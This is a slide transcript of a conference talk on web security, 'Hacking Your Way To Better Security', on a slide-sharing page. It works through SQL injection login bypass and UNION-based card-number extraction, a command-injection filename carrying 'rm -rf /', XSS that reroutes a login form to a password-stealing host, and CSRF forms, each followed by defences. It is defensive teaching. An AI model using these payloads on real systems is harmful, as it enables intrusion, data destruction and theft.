Releasing High-Quality Packages - php[world] 2018Releasing High-Quality Packages - php[world] 2018
Releasing High-Quality Packages - php[world] 2018
Colin O'Dell326 views
Debugging Effectively - DrupalCon Nashville 2018 by Colin O'Dell
Debugging Effectively - DrupalCon Nashville 2018Debugging Effectively - DrupalCon Nashville 2018
Debugging Effectively - DrupalCon Nashville 2018
Colin O'Dell830 views
CommonMark: Markdown Done Right - ZendCon 2017 by Colin O'Dell
CommonMark: Markdown Done Right - ZendCon 2017CommonMark: Markdown Done Right - ZendCon 2017
CommonMark: Markdown Done Right - ZendCon 2017
Colin O'Dell1.4K views
Rise of the Machines: PHP and IoT - ZendCon 2017 by Colin O'Dell
Rise of the Machines: PHP and IoT - ZendCon 2017Rise of the Machines: PHP and IoT - ZendCon 2017
Rise of the Machines: PHP and IoT - ZendCon 2017
Colin O'Dell2.3K views
Debugging Effectively - All Things Open 2017 by Colin O'Dell
Debugging Effectively - All Things Open 2017Debugging Effectively - All Things Open 2017
Debugging Effectively - All Things Open 2017
Colin O'Dell1.1K views
Debugging Effectively - PHP UK 2017 by Colin O'Dell
Debugging Effectively - PHP UK 2017Debugging Effectively - PHP UK 2017
Debugging Effectively - PHP UK 2017
Colin O'Dell1.7K views
Debugging Effectively - SunshinePHP 2017 by Colin O'Dell
Debugging Effectively - SunshinePHP 2017Debugging Effectively - SunshinePHP 2017
Debugging Effectively - SunshinePHP 2017
Colin O'Dell432 views
Automating Your Workflow with Gulp.js - php[world] 2016 by Colin O'Dell
Automating Your Workflow with Gulp.js - php[world] 2016Automating Your Workflow with Gulp.js - php[world] 2016
Automating Your Workflow with Gulp.js - php[world] 2016
Colin O'Dell1.3K views
Rise of the Machines: PHP and IoT - php[world] 2016 by Colin O'Dell
Rise of the Machines: PHP and IoT - php[world] 2016Rise of the Machines: PHP and IoT - php[world] 2016
Rise of the Machines: PHP and IoT - php[world] 2016
Colin O'Dell1.6K views
Debugging Effectively - ZendCon 2016 by Colin O'Dell
Debugging Effectively - ZendCon 2016Debugging Effectively - ZendCon 2016
Debugging Effectively - ZendCon 2016
Colin O'Dell520 views
Debugging Effectively - DrupalCon Europe 2016 by Colin O'Dell
Debugging Effectively - DrupalCon Europe 2016Debugging Effectively - DrupalCon Europe 2016
Debugging Effectively - DrupalCon Europe 2016
Colin O'Dell544 views
CommonMark: Markdown done right - Nomad PHP September 2016 by Colin O'Dell
CommonMark: Markdown done right - Nomad PHP September 2016CommonMark: Markdown done right - Nomad PHP September 2016
CommonMark: Markdown done right - Nomad PHP September 2016
Colin O'Dell1.1K views
Debugging Effectively - Frederick Web Tech 9/6/16 by Colin O'Dell
Debugging Effectively - Frederick Web Tech 9/6/16Debugging Effectively - Frederick Web Tech 9/6/16
Debugging Effectively - Frederick Web Tech 9/6/16
Colin O'Dell604 views
Debugging Effectively by Colin O'Dell
Debugging EffectivelyDebugging Effectively
Debugging Effectively
Colin O'Dell1.7K views
CommonMark: Markdown Done Right by Colin O'Dell
CommonMark: Markdown Done RightCommonMark: Markdown Done Right
CommonMark: Markdown Done Right
Colin O'Dell1K views

Recently uploaded

Unleash The Monkeys by
Unleash The MonkeysUnleash The Monkeys
Unleash The MonkeysJacob Duijzer
8 views28 slides
Unmasking the Dark Art of Vectored Exception Handling: Bypassing XDR and EDR ... by
Unmasking the Dark Art of Vectored Exception Handling: Bypassing XDR and EDR ...Unmasking the Dark Art of Vectored Exception Handling: Bypassing XDR and EDR ...
Unmasking the Dark Art of Vectored Exception Handling: Bypassing XDR and EDR ...Donato Onofri
890 views34 slides
Introduction to Git Source Control by
Introduction to Git Source ControlIntroduction to Git Source Control
Introduction to Git Source ControlJohn Valentino
5 views18 slides
HarshithAkkapelli_Presentation.pdf by
HarshithAkkapelli_Presentation.pdfHarshithAkkapelli_Presentation.pdf
HarshithAkkapelli_Presentation.pdfharshithakkapelli
12 views16 slides
Dapr Unleashed: Accelerating Microservice Development by
Dapr Unleashed: Accelerating Microservice DevelopmentDapr Unleashed: Accelerating Microservice Development
Dapr Unleashed: Accelerating Microservice DevelopmentMiroslav Janeski
12 views29 slides
The Path to DevOps by
The Path to DevOpsThe Path to DevOps
The Path to DevOpsJohn Valentino
5 views6 slides

Recently uploaded(20)

Unmasking the Dark Art of Vectored Exception Handling: Bypassing XDR and EDR ... by Donato Onofri
Unmasking the Dark Art of Vectored Exception Handling: Bypassing XDR and EDR ...Unmasking the Dark Art of Vectored Exception Handling: Bypassing XDR and EDR ...
Unmasking the Dark Art of Vectored Exception Handling: Bypassing XDR and EDR ...
Donato Onofri890 views
Introduction to Git Source Control by John Valentino
Introduction to Git Source ControlIntroduction to Git Source Control
Introduction to Git Source Control
John Valentino5 views
Dapr Unleashed: Accelerating Microservice Development by Miroslav Janeski
Dapr Unleashed: Accelerating Microservice DevelopmentDapr Unleashed: Accelerating Microservice Development
Dapr Unleashed: Accelerating Microservice Development
Miroslav Janeski12 views
Gen Apps on Google Cloud PaLM2 and Codey APIs in Action by Márton Kodok
Gen Apps on Google Cloud PaLM2 and Codey APIs in ActionGen Apps on Google Cloud PaLM2 and Codey APIs in Action
Gen Apps on Google Cloud PaLM2 and Codey APIs in Action
Márton Kodok11 views
Sprint 226 by ManageIQ
Sprint 226Sprint 226
Sprint 226
ManageIQ8 views
Unlocking the Power of AI in Product Management - A Comprehensive Guide for P... by NimaTorabi2
Unlocking the Power of AI in Product Management - A Comprehensive Guide for P...Unlocking the Power of AI in Product Management - A Comprehensive Guide for P...
Unlocking the Power of AI in Product Management - A Comprehensive Guide for P...
NimaTorabi215 views
FIMA 2023 Neo4j & FS - Entity Resolution.pptx by Neo4j
FIMA 2023 Neo4j & FS - Entity Resolution.pptxFIMA 2023 Neo4j & FS - Entity Resolution.pptx
FIMA 2023 Neo4j & FS - Entity Resolution.pptx
Neo4j12 views
Dev-Cloud Conference 2023 - Continuous Deployment Showdown: Traditionelles CI... by Marc Müller
Dev-Cloud Conference 2023 - Continuous Deployment Showdown: Traditionelles CI...Dev-Cloud Conference 2023 - Continuous Deployment Showdown: Traditionelles CI...
Dev-Cloud Conference 2023 - Continuous Deployment Showdown: Traditionelles CI...
Marc Müller42 views
360 graden fabriek by info33492
360 graden fabriek360 graden fabriek
360 graden fabriek
info33492138 views
Team Transformation Tactics for Holistic Testing and Quality (Japan Symposium... by Lisi Hocke
Team Transformation Tactics for Holistic Testing and Quality (Japan Symposium...Team Transformation Tactics for Holistic Testing and Quality (Japan Symposium...
Team Transformation Tactics for Holistic Testing and Quality (Japan Symposium...
Lisi Hocke35 views
2023-November-Schneider Electric-Meetup-BCN Admin Group.pptx by animuscrm
2023-November-Schneider Electric-Meetup-BCN Admin Group.pptx2023-November-Schneider Electric-Meetup-BCN Admin Group.pptx
2023-November-Schneider Electric-Meetup-BCN Admin Group.pptx
animuscrm15 views
Copilot Prompting Toolkit_All Resources.pdf by Riccardo Zamana
Copilot Prompting Toolkit_All Resources.pdfCopilot Prompting Toolkit_All Resources.pdf
Copilot Prompting Toolkit_All Resources.pdf
Riccardo Zamana11 views
Quality Engineer: A Day in the Life by John Valentino
Quality Engineer: A Day in the LifeQuality Engineer: A Day in the Life
Quality Engineer: A Day in the Life
John Valentino6 views
Myths and Facts About Hospice Care: Busting Common Misconceptions by Care Coordinations
Myths and Facts About Hospice Care: Busting Common MisconceptionsMyths and Facts About Hospice Care: Busting Common Misconceptions
Myths and Facts About Hospice Care: Busting Common Misconceptions
Advanced API Mocking Techniques by Dimpy Adhikary
Advanced API Mocking TechniquesAdvanced API Mocking Techniques
Advanced API Mocking Techniques
Dimpy Adhikary23 views

Hacking Your Way To Better Security - php[tek] 2016

  • 1. Hacking Your Way To Better Security
  • 2. Colin O’Dell @colinodell Lead Web Developer at Unleashed Technologies PHP developer since 2002 league/commonmark maintainer PHP 7 Migration Guide e-book author php[world] 2015 CtF winner
  • 3. Goals Explore several top security vulnerabilities from the perspective of an attacker. 1. Understand how to detect and exploit common vulnerabilities 2. Learn how to protect against those vulnerabilities
  • 4. Disclaimers 1.NEVER test systems that aren’t yours without explicit permission. 2.Examples in this talk are fictional, but the vulnerability behaviors shown are very real.
  • 6. OWASP Top 10 Regular publication by The Open Web Application Security Project Highlights the 10 most-critical web application security risks
  • 9. SQL Injection Modifying SQL statements to: Spoof identity Tamper with data Disclose hidden information
  • 10. SQL Injection Basics $value = $_REQUEST['value']; SELECT * FROM x WHERE y = '[MALICIOUS CODE HERE]' "; $sql = "SELECT * FROM x WHERE y = '$value' "; $database->query($sql);
  • 12. Username Password Log In admin password' Invalid username or password. Please double-check and try again.
  • 14. tail –n 1 /var/log/apache2/error.log MySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "password'" at line 1. tail –n 1 /var/log/mysql/query.log SELECT * FROM users WHERE username = 'admin' AND password = 'password''; $ $
  • 15. tail –n 1 /var/log/apache2/error.log MySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "password'" at line 1. tail –n 1 /var/log/mysql/query.log SELECT * FROM users WHERE username = 'admin' AND password = 'password''; $ $ ~~
  • 18. tail –n 1 /var/log/apache2/error.log MySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "' test" at line 1. tail –n 1 /var/log/mysql/query.log SELECT * FROM users WHERE username = 'admin' AND password = '' test'; $ $
  • 19. tail –n 1 /var/log/apache2/error.log MySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "' test" at line 1. tail –n 1 /var/log/mysql/query.log SELECT * FROM users WHERE username = 'admin' AND password = '' test'; $ $ ~~~~~~~~
  • 20. ~~~~~~~~ SELECT * FROM users WHERE username = 'admin' AND password = '' test'; SELECT * FROM users WHERE username = 'admin' AND password = ''; SELECT * FROM users WHERE username = 'admin' AND password = '' OR (something that is true); SELECT * FROM users WHERE username = 'admin' AND (true); SELECT * FROM users WHERE username = 'admin';
  • 21. SELECT * FROM users WHERE username = 'admin' AND password = '' test '; ' test
  • 22. SELECT * FROM users WHERE username = 'admin' AND password = '' test '; SELECT * FROM users WHERE username = 'admin' AND password = '' test '; ' test ~~~~~~~~~~~~~~~~~~~~
  • 23. SELECT * FROM users WHERE username = 'admin' AND password = ' '; SELECT * FROM users WHERE username = 'admin' AND password = ' ';
  • 24. SELECT * FROM users WHERE username = 'admin' AND password = '' '; SELECT * FROM users WHERE username = 'admin' AND password = '' '; ' ~~~~
  • 25. SELECT * FROM users WHERE username = 'admin' AND password = '' ' '; SELECT * FROM users WHERE username = 'admin' AND password = '' ' '; ' ' ~~~~~~~~~~~~~~~~
  • 26. SELECT * FROM users WHERE username = 'admin' AND password = '' OR ' '; SELECT * FROM users WHERE username = 'admin' AND password = '' OR ' '; ' OR '
  • 27. SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1 ' '; SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1 ' '; ' OR '1 ' ~~~~
  • 28. SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1' ' '; SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1' ' '; ' OR '1' ' ~~~~~~~~~
  • 29. SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'=' '; SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'=' '; ' OR '1'='
  • 30. SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1'; SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1'; ' OR '1'='1
  • 31. Username Password Log In admin ' OR '1'='1 Unknown error.
  • 32. Welcome Admin! Admin Menu: Give customer money Take money away Review credit card applications Close accounts
  • 34. Blind SQL Injection Invalid username or password. Please double-check and try again. Unknown error. Valid query (empty result) Invalid query Welcome Admin! Valid query (with result)
  • 35. ' AND (SELECT id FROM user LIMIT 1) = ' Username Password admin Log In Real-Time MySQL View
  • 36. ' AND (SELECT id FROM user LIMIT 1) = ' Username Password admin Unknown error. Log In Error LogQuery Log SELECT * FROM users WHERE username = 'admin' AND password = '' AND (SELECT id FROM user LIMIT 1) = '';
  • 37. ' AND (SELECT id FROM user LIMIT 1) = ' Username Password admin Unknown error. Log In Query Log MySQL error: Unknown table 'user'. Error Log
  • 38. ' AND (SELECT id FROM users LIMIT 1) = ' Username Password admin Unknown error. Log In Query Log MySQL error: Unknown table 'user'. Error Log
  • 39. ' AND (SELECT id FROM users LIMIT 1) = ' Username Password admin Invalid username or password. Please double-check and try again. Log In
  • 40. SQL Injection - Data Disclosure
  • 41. SQL Injection - Data Disclosure http://www.onlinebookstore.com/books/123 SELECT * FROM books WHERE id = 123 $id = …; $sql = "SELECT title, author, price FROM books WHERE id = " . $id; $data = $database->query($sql); { 'title' => 'The Great Gatsby', 'author' => 'F. Scott Fitzgerald', 'price' => 9.75 }
  • 42. SQL Injection - Data Disclosure http://www.onlinebookstore.com/books/99999 SELECT * FROM books WHERE id = 99999 $id = …; $sql = "SELECT title, author, price FROM books WHERE id = " . $id; $data = $database->query($sql); { }
  • 43. SQL Injection - Data Disclosure http://www.onlinebookstore.com/books/????? SELECT * FROM books WHERE id = ????? $id = …; $sql = "SELECT title, author, price FROM books WHERE id = " . $id; $data = $database->query($sql); { 'title' => '', 'author' => '', 'price' => 0.00 }
  • 44. SQL UNION Query Column 1 Column 2 Column 3 The Great Gatsby F. Scott Fitzgerald 9.75 Column 1 Column 2 Column 3 Foo Bar 123 Column 1 Column 2 Column 3 The Great Gatsby F. Scott Fitzgerald 9.75 Foo Bar 123 UNION
  • 45. SQL UNION Query Column 1 Column 2 Column 3 The Great Gatsby F. Scott Fitzgerald 9.75 Column 1 Column 2 Column 3 (SELECT) 1 1 Column 1 Column 2 Column 3 The Great Gatsby F. Scott Fitzgerald 9.75 (SELECT) 1 1 UNION
  • 46. SQL UNION Query Column 1 Column 2 Column 3 (empty) Column 1 Column 2 Column 3 (SELECT) 1 1 Column 1 Column 2 Column 3 (SELECT) 1 1 UNION
  • 47. SQL Injection - Data Disclosure http://www.onlinebookstore.com/books/99999 UNION SELECT number FROM creditcards SELECT * FROM books WHERE id = ????? $id = …; $sql = "SELECT title, author, price FROM books WHERE id = " . $id; $data = $database->query($sql); { 'title' => '', 'author' => '', 'price' => 0.00 }
  • 48. SQL Injection - Data Disclosure http://www.onlinebookstore.com/books/99999 UNION SELECT number AS 'title', 1 AS 'author', 1 AS 'price' FROM creditcards SELECT * FROM books WHERE id = ????? $id = …; $sql = "SELECT title, author, price FROM books WHERE id = " . $id; $data = $database->query($sql); { 'title' => '', 'author' => '', 'price' => 0.00 }
  • 49. SQL Injection - Data Disclosure http://www.onlinebookstore.com/books/99999 UNION SELECT number AS 'title', 1 AS 'author', 1 AS 'price' FROM creditcards SELECT * FROM books WHERE id = 99999 UNION SELECT number AS 'title', 1 AS 'author', 1 AS 'price' FROM creditcards $id = …; $sql = "SELECT title, author, price FROM books WHERE id = " . $id; $data = $database->query($sql); { 'title' => '', 'author' => '', 'price' => 0 }
  • 50. SQL Injection - Data Disclosure http://www.onlinebookstore.com/books/99999 UNION SELECT number AS 'title', 1 AS 'author', 1 AS 'price' FROM creditcards SELECT * FROM books WHERE id = 99999 UNION SELECT number AS 'title', 1 AS 'author', 1 AS 'price' FROM creditcards $id = …; $sql = "SELECT title, author, price FROM books WHERE id = " . $id; $data = $database->query($sql); { 'title' => '4012-3456-7890-1234', 'author' => 1, 'price' => 1 }
  • 51. Protecting Against SQL Injection $value = $_REQUEST['value']; $sql = "SELECT * FROM x WHERE y = '$value' "; $database->query($sql);
  • 52. Protecting Against SQL Injection Block input with special characters
  • 53. Protecting Against SQL Injection Block input with special characters Escape user input $value = $_REQUEST['value']; $escaped = mysqli_real_escape_string($value); $sql = "SELECT * FROM x WHERE y = '$escaped' "; $database->query($sql); ' OR '1' = '1 ' OR '1' = '1 mysqli_real_escape_string() SELECT * FROM x WHERE y = '' OR '1' = '1'
  • 54. Protecting Against SQL Injection Block input with special characters Escape user input $value = $_REQUEST['value']; $escaped = mysqli_real_escape_string($value); $sql = "SELECT * FROM x WHERE y = '$escaped' "; $database->query($sql); ' OR '1' = '1 ' OR '1' = '1 mysqli_real_escape_string() SELECT * FROM x WHERE y = '' OR '1' = '1'
  • 55. Protecting Against SQL Injection Block input with special characters Escape user input Use prepared statements $mysqli = new mysqli("localhost", "user", "pass", "db"); $q = $mysqli->prepare("SELECT * FROM x WHERE y = '?' "); $q->bind_param(1, $_REQUEST['value']); $q->execute(); Native PHP: ● mysqli ● pdo_mysql Frameworks / Libraries: ● Doctrine ● Eloquent ● Zend_Db
  • 56. Other Types of Injection NoSQL databases OS Commands LDAP Queries SMTP Headers $file = $_GET['filename']; shell_exec("rm uploads/{$file}"); /rm.php?filename=foo.jpg+%26%26+rm+-rf+%2F rm uploads/foo.jpg && rm -rf /
  • 57. XSS Cross-Site Scripting Injecting code into the webpage (for other users) • Execute malicious scripts • Hijack sessions • Install malware • Deface websites
  • 58. XSS Attack Basics $value = $_POST['value']; $value = $rssFeed->first->title; $value = db_fetch('SELECT value FROM table'); <?php echo $value ?> Raw code/script is injected onto a page
  • 59. XSS – Cross-Site Scripting Basics Snipicons by Snip Master licensed under CC BY-NC 3.0. Cookie icon by Daniele De Santis licensed under CC BY 3.0. Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png Logos are copyright of their respective owners. <form id="evilform" action="https://facebook.com/password.php" method="post"> <input type="password" value="hacked123"> </form> <script> document.getElementById('evilform').submit(); </script>
  • 60. XSS – Cross-Site Scripting short.ly Paste a URL here Shorten
  • 61. XSS – Cross-Site Scripting short.ly http://www.colinodell.com Shorten
  • 62. XSS – Cross-Site Scripting short.ly http://www.colinodell.com Shorten Short URL: http://short.ly/b7fe9 Original URL: http://www.colinodell.com
  • 63. XSS – Cross-Site Scripting short.ly Please wait while we redirect you to http://www.colinodell.com
  • 64. XSS – Cross-Site Scripting short.ly <script>alert('hello world!');</script> Shorten
  • 65. XSS – Cross-Site Scripting short.ly <script>alert('hello world!');</script> Shorten Short URL: http://short.ly/3bs8a Original URL: hello world! OK X
  • 66. XSS – Cross-Site Scripting short.ly <script>alert('hello world!');</script> Shorten Short URL: http://short.ly/3bs8a Original URL:
  • 67. <p> Short URL: <a href="…">http://short.ly/3bs8a</a> </p> <p> Original URL: <a href="…"><script>alert('hello world!');</script></a> </p>
  • 68. XSS – Cross-Site Scripting short.ly <iframe src="https://www.youtube.com/embed/dQw4w9WgXcQ"> Shorten
  • 69. XSS – Cross-Site Scripting short.ly <iframe src="https://www.youtube.com/embed/dQw4w9WgXcQ"> Shorten Short URL: http://short.ly/3bs8a Original URL:
  • 70. XSS – Cross-Site Scripting short.ly Please wait while we redirect you to
  • 71. XSS – Cross-Site Scripting document.getElementById('login-form').action = 'http://malicious-site.com/steal-passwords.php';
  • 72. Protecting Against XSS Attacks $value = $_POST['value']; $value = db_fetch('SELECT value FROM table'); $value = $rssFeed->first->title; <?php echo $value ?>
  • 73. Protecting Against XSS Attacks • Filter user input $value = strip_tags($_POST['value']); $value = strip_tags( db_fetch('SELECT value FROM table') ); $value = strip_tags($rssFeed->first->title); <?php echo $value ?>
  • 74. Protecting Against XSS Attacks • Filter user input • Escape user input $value = htmlspecialchars($_POST['value']); $value = htmlspecialchars( db_fetch('SELECT value FROM table') ); $value = htmlspecialchars($rssFeed->first->title); <?php echo $value ?> <script> &lt;script&gt; htmlspecialchars()
  • 75. Protecting Against XSS Attacks • Filter user input • Escape user input • Escape output $value = $_POST['value']; $value = db_fetch('SELECT value FROM table'); $value = $rssFeed->first->title; <?php echo htmlspecialchars($value) ?>
  • 76. Protecting Against XSS Attacks • Filter user input • Escape user input • Escape output {{ some_variable }} {{ some_variable|raw }}
  • 77. CSRF Cross-Site Request Forgery Execute unwanted actions on another site which user is logged in to. • Change password • Transfer funds • Anything the user can do
  • 78. CSRF – Cross-Site Request Forgery Hi Facebook! I am colinodell and my password is *****. Welcome Colin! Here’s your news feed. Snipicons by Snip Master licensed under CC BY-NC 3.0. Cookie icon by Daniele De Santis licensed under CC BY 3.0. Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png Logos are copyright of their respective owners.
  • 79. CSRF – Cross-Site Request Forgery Hi other website! Show me your homepage. Sure, here you go! Snipicons by Snip Master licensed under CC BY-NC 3.0. Cookie icon by Daniele De Santis licensed under CC BY 3.0. Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png Logos are copyright of their respective owners. <form id="evilform" action="https://facebook.com/password.php" method="post"> <input type="password" value="hacked123"> </form> <script> document.getElementById('evilform').submit(); </script>
  • 80. CSRF – Cross-Site Request Forgery <form id="evilform" action="https://facebook.com/password.php" method="post"> <input type="password" value="hacked123"> </form> <script> document.getElementById('evilform').submit(); </script>
  • 81. CSRF – Cross-Site Request Forgery <form id="evilform" action="https://facebook.com/password.php" method="post"> <input type="password" value="hacked123"> </form> <script> document.getElementById('evilform').submit(); </script> Tell Facebook we want to change our password to hacked123 Snipicons by Snip Master licensed under CC BY-NC 3.0. Cookie icon by Daniele De Santis licensed under CC BY 3.0. Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png Logos are copyright of their respective owners.
  • 82. CSRF – Cross-Site Request Forgery <form id="evilform" action="https://facebook.com/password.php" method="post"> <input type="password" value="hacked123"> </form> <script> document.getElementById('evilform').submit(); </script> Hi Facebook! Please change my password to hacked123. Snipicons by Snip Master licensed under CC BY-NC 3.0. Cookie icon by Daniele De Santis licensed under CC BY 3.0. Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png Logos are copyright of their respective owners. Done!
  • 83. CSRF – Cross-Site Request Forgery short.ly <img src="https://paypal.com/pay?email=me@evil.com&amt=9999"> Shorten
  • 84. CSRF – Cross-Site Request Forgery short.ly Please wait while we redirect you to X
  • 86. Protecting Against CSRF Attacks Only use POST requests? NO! POST requests are vulnerable too Common Misconceptions: “<img> tags can only make GET requests” “If a user doesn’t click a form it won’t submit”
  • 87. Protecting Against CSRF Attacks Only use POST requests? Use a secret cookie?
  • 88. Protecting Against CSRF Attacks Only use POST requests? Use a secret cookie? NO! Cookies are sent on every request.
  • 89. Protecting Against CSRF Attacks Only use POST requests? Use a secret cookie? Use random CSRF tokens YES! <input type="hidden" name="token" value="ao3i4yw90sae8rhsdrf"> 1. Generate a random string per user. 2. Store it in their session. 3. Add to form as hidden field. 4. Compare submitted value to session 1. Same token? Proceed. 2. Different/missing? Reject the request.
  • 90. Insecure Direct Object References Access & manipulate objects you shouldn’t have access to
  • 92. Insecure Direct Object References Beverly Cooper
  • 97. Protecting Against Insecure Direct Object References Check permission on data input • URL / route parameters • Form field inputs • Basically anything that’s an ID • If they don’t have permission, show a 403 (or 404) page
  • 98. Protecting Against Insecure Direct Object References Check permission on data input Check permission on data output • Do they have permission to access this object? • Do they have permission to even know this exists? • This is not “security through obscurity”
  • 101. Sensitive Data Exposure - CHANGELOG
  • 102. Sensitive Data Exposure – composer.lock
  • 103. Sensitive Data Exposure – composer.lock
  • 105. Sensitive Data Exposure – robots.txt
  • 106. Private information that is stored, transmitted, or backed-up in clear text (or with weak encryption) • Customer information • Credit card numbers • Credentials Sensitive Data Exposure
  • 107. Security Misconfiguration & Components with Known Vulnerabilities Default accounts enabled; weak passwords • admin / admin Security configuration • Does SSH grant root access? • Are weak encryption keys used? Out-of-date software • Old versions with known issues • Are the versions exposed? • Unused software running (DROWN attack)
  • 108. Components with Known Vulnerabilities
  • 109. Components with Known Vulnerabilities
  • 110. Components with Known Vulnerabilities
  • 111. Protecting Against Sensitive Data Exposure, Security Mismanagement, and Components with Known Vulnerabilities Keep software up-to-date • Install critical updates immediately • Install other updates regularly
  • 112. Protecting Against Sensitive Data Exposure, Security Misconfiguration, and Components with Known Vulnerabilities Keep software up-to-date Keep sensitive data out of web root • Files which provide version numbers • README, CHANGELOG, .git, composer.lock • Database credentials & API keys • Encryption keys
  • 113. Protecting Against Sensitive Data Exposure, Security Misconfiguration, and Components with Known Vulnerabilities Keep software up-to-date Keep sensitive data out of web root Use strong encryption • Encrypt with a strong private key • Encrypt backups and data-in-transit • Use strong hashing techniques for passwords
  • 114. Protecting Against Sensitive Data Exposure, Security Mismanagement, and Components with Known Vulnerabilities Keep software up-to-date Keep sensitive data out of web root Use strong encryption Test your systems • Scan your systems with automated tools • Test critical components yourself • Automated tests • Manual tests
  • 115. Next Steps Test your own applications for vulnerabilities Learn more about security & ethical hacking Enter security competitions (like CtF) Stay informed
  • 117. Thanks! Slides & feedback: https://joind.in/talk/f7516 Colin O'Dell @colinodell